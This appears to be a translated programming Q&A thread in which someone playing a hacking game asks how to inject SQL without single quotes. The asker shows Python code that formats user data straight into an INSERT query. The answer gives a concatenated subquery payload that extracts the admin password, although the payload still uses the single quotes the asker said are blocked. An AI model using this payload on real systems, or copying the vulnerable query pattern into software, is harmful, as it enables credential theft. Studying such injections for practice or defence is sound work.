没有单引号的SQL注入

时间:2015-05-17 08:49:08

标签: sql sql-injection

有没有办法在不使用单引号'的情况下进行SQL注入?

我已经查看了很多问题,但它们都是关于单引号转义或它们不包含解决方案(SQL Injection after removing all single-quotes and dash-characters)。

我正在进行黑客游戏,基本上我必须从数据库中提取密码,我试图通过利用此查询来实现:

query = text("INSERT INTO data_table VALUES ([other values], '%s')" % data)
db.engine.execute(query, user=username)

尝试将数据设置为:

'SELECT password FROM users WHERE username="admin" '

我认为这样就应该执行select并将其结果存储为数据(我可以很容易地从网站上读回数据)。

问题在于,当上传进入数据的值时,我无法使用单引号'(系统显示错误,我必须选择其他值)。

有没有办法在没有单引号的情况下进行类似的注射?

1 个答案:

答案 0 :(得分:0)

此SELECT必须作为括在括号中的标量子查询传递。

如果date简单地与text连接,则将其设置为

' || (SELECT password FROM users WHERE username='admin') || '

结果

INSERT INTO data_table VALUES ([other values], '' || (SELECT password FROM users WHERE username='admin') || '')

这是有效的SQL连接空字符串和SELECT的结果。现在,DBMS将很乐意执行它: - )